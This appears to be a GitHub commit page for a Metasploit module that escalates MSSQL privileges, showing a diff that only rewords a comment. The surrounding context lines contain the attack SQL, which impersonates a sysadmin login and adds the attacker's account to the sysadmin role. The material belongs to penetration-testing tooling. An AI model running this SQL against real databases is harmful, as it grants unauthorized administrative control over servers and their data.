We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
There was an error while loading. Please reload this page.
1 parent f108d7b commit 15119d2Copy full SHA for 15119d2
modules/auxiliary/admin/mssql/mssql_escalate_executeas.rb
@@ -146,7 +146,7 @@ def check_imp_sysadmin(trust_db_list)
146
end
147
148
def escalate_privs(imp_user_sysadmin)
149
- # Create the evil stored procedure WITH EXECUTE AS OWNER
+ # Impersonate the first sysadmin user on the list
150
evil_sql_create = "EXECUTE AS Login = '#{imp_user_sysadmin}';
151
EXEC sp_addsrvrolemember '#{datastore['USERNAME']}','sysadmin';"
152
0 commit comments